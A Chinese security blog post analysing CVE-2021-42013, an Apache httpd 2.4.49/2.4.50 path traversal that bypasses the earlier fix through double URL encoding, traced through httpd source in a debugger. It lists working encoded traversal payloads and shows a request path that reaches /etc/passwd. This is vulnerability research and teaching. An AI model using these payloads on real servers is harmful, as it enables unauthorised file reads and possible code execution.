您当前的位置: 首页 >  合天网安实验室 http

CVE-2021-42013  Apache HTTP Server 路径穿越漏洞

合天网安实验室 发布时间:2022-03-03 18:00:00 ,浏览量:1

前言

CVE-2021-42013为目录穿越文件读取漏洞,影响 httpd 2.4.49,CVE编号为CVE-2021-41773, https 2.4.50不完全修复可绕过,如果开启 mod_cgi 则可RCE。

分析

CVE-2021-41773复现分析如下:

利用网上师傅的docker镜像

docker run -p 8080:80 -d --privileged turkeys/httpd:cve-2021-41773

环境中有安装好的 pwndbg 插件,直接按步调试即可,这里参考Betta师傅的文章

正文

CVE-2021-41773不完全的修复导致了 CVE-2021-42013

可用的 payload 有

/%2%65./
/%2%65%2e/
/.%2%65/
/%2e%2%65/  
/%2%65%2%65/
/%%32e%%32e/
/%25%32%65%25%32%65/ # 无法生效 ap_normalize_path 不能将 %25 进行url解码处理后为 %

我们注意到 https 2.4.50 中添加了补丁

添加的补丁是对 .%2e 和 %2e%2e 进行了校验,但是我们在 request.c 中注意到还会调用 ap_unescape_url 来对 url 进行又一次的编码,所以通过两次编码就可以绕过


request.c::ap_process_request_internal


util.c:ap_normalize_path


返回结果为一次编码后的结果


util.c:ap_unescape_url


util.c:ap_unescape_url


我们看到此时保存值的指针地址 0x7fa06c00a1f0 ◂— '/cgi-bin/%2e./%2e./%2e./%2e./%2e./etc/passwd'

函数执行结束后 打印出 0x7fa06c00a1f0  对应的值


发现已经对 url 进行了再一次的解码

命令执行

在 /etc/httpd/httpd.conf 配置文件中去掉 mod_cgid.so 的注释



结语

至此,CVE-2021-42013的漏洞分析到此结束,如有不当感谢师傅指出!!!

参考链接

https://mp.weixin.qq.com/s/IYbaDLrMJBT0yb4xT3UYWg

原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:edu@antvsion.com

文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关

通过审核并发布能收获200-800元不等的稿酬。

更多详情,点我查看!

体验靶场实操,戳“阅读原文”体验

关注
打赏
查看更多评论

合天网安实验室

暂无认证

  • 1浏览

    0关注

    728博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文
立即登录/注册

微信扫码登录